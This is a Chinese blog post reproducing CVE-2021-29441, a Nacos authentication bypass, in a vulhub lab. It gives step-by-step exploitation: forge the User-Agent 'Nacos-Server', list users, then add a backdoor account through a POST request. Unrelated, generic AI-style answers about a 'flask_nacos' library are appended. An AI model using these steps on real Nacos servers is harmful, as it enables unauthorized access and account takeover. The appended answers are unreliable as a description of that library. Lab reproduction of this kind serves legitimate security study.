vulhub漏洞复现42_Nacos

CVE-2021-29441_ Nacos 认证绕过漏洞

前言

Nacos 是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。

漏洞详情

该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。并且利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。

漏洞环境

靶场:192.168.4.10_ubuntu

运行漏洞环境:

#docker-compose up -d

环境运行后,会开放3306、8848、9848、9555端口,在本次漏洞利用中,我们只需要用到8848端口,即web访问端口。**执行漏洞验证过程时,请先访问8848端口,确认开放,某些情况下nacos服务会启动失败(无法连接数据库导致),可以重启nacos服务或者重启所有服务**,http://192.168.4.10:8848/nacos/

#docker-compose restart nacos

漏洞利用环境自带脚本

#python poc.py http://target:8848

漏洞复现

漏洞利用过程如下:

1. 修改User-Agent的值为Nacos-Server到请求包中

2. 访问http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9查看状态码是否为200,且内容中是否包含`pageItems`

3. 使用POST方式访问http://target:8848/nacos/v1/auth/users?username=vulhub&password=vulhub添加一个新用户

4. 访问http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9获取已有的用户列表

5. 访问http://target:8848/nacos/,使用添加的新用户(vulhub/vulhub)进行登录

检测漏洞是否存在

添加Header头后访问`http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9`可以看到返回值为200,且内容中是否包含`pageItems`

 添加新用户

添加Header头后使用**POST**方式请求`http://target:8848/nacos/v1/auth/users?username=vulhub1&password=vulhub1`添加一个新用户,账号密码都为vulhub1

 使用新建的账号vulhub1/vulhub1进行登录

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: flask_nacos是一个为Flask框架提供Nacos服务注册和发现功能的扩展包。Nacos是阿里巴巴开源的一款服务注册与发现组件,可以用于微服务架构中的服务注册、配置管理和动态服务发现等。 flask_nacos扩展包可以让我们在Flask应用中使用Nacos来管理服务的注册和发现。通过使用flask_nacos,我们可以将应用注册到Nacos服务器,并且可以自动获取到其他已注册的服务的信息。 使用flask_nacos时,我们首先需要在Flask应用的配置中指定Nacos服务器的地址和端口号。然后,我们可以通过flask_nacos中的装饰器将指定的视图函数注册到Nacos服务器。注册之后,我们可以通过Nacos服务器的API来查看已注册的服务信息。 另外,flask_nacos还提供了一些辅助函数,用于在Flask应用中方便地进行服务的发现和调用。通过这些函数,我们可以动态地根据服务名称获取到对应服务的地址和端口号,并能够直接调用该服务的接口。 总的来说,flask_nacos使得在Flask应用中使用Nacos变得更加方便和简单。它提供了用于注册和发现服务的装饰器和辅助函数,帮助我们实现微服务架构中的服务管理和动态发现功能。 ### 回答2: flask_nacos是一个用于集成Flask框架和Nacos的Python库。Flask是一种轻量级的Web应用框架,而Nacos是一个可视化的服务注册和配置中心。flask_nacos的主要功能是使得开发者可以轻松地将Flask应用的服务注册和配置管理与Nacos进行集成。 使用flask_nacos,开发者可以方便地将Flask应用注册到Nacos的服务注册中心,实现服务的自动发现和负载均衡。同时,flask_nacos还支持将Flask应用的配置项存储在Nacos的配置中心,可以动态地更新和管理配置信息,在不停止应用的情况下实现配置的修改。 flask_nacos提供了一系列的API,开发者可以根据需要使用这些API来实现对Nacos的服务注册、服务发现、配置读取等操作。通过集成flask_nacos,开发者可以更好地管理和掌控自己的Flask应用,提高应用的可维护性和可扩展性。 总之,flask_nacos是一个方便的工具,可以帮助开发者将Flask应用与Nacos集成,实现服务注册和配置管理。通过flask_nacos,开发者可以更好地管理和控制自己的应用,提高应用的稳定性和可靠性。 ### 回答3: flask_nacos是一个基于Flask框架的Nacos插件,用于在Python应用程序中集成Nacos配置中心和服务注册发现功能。 Nacos是一个开源的分布式配置中心和服务发现平台,它提供了统一的配置管理和服务注册发现的解决方案,可以帮助开发者更方便地管理应用程序的配置信息和服务的注册与发现。 使用flask_nacos,开发者可以直接在Flask应用程序中配置Nacos的地址和相关信息,然后通过简单的API调用就可以实现从Nacos获取配置信息和进行服务的注册和发现。 通过flask_nacos,开发者可以实现动态的配置管理,可以根据不同的环境和需求,灵活地修改应用程序的配置信息,而无需重新编译或重启应用程序。 此外,flask_nacos还提供了服务注册和发现的功能,可以帮助开发者更容易地实现微服务架构。开发者只需在代码中配置好服务的相关信息,然后启动应用程序,就可以实现对服务进行注册,其他微服务可以通过服务发现功能找到并使用该服务。 总的来说,flask_nacos是一个功能强大的插件,可以帮助开发者在Flask应用程序中集成Nacos的配置中心和服务注册发现功能,提高应用程序的灵活性和可扩展性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值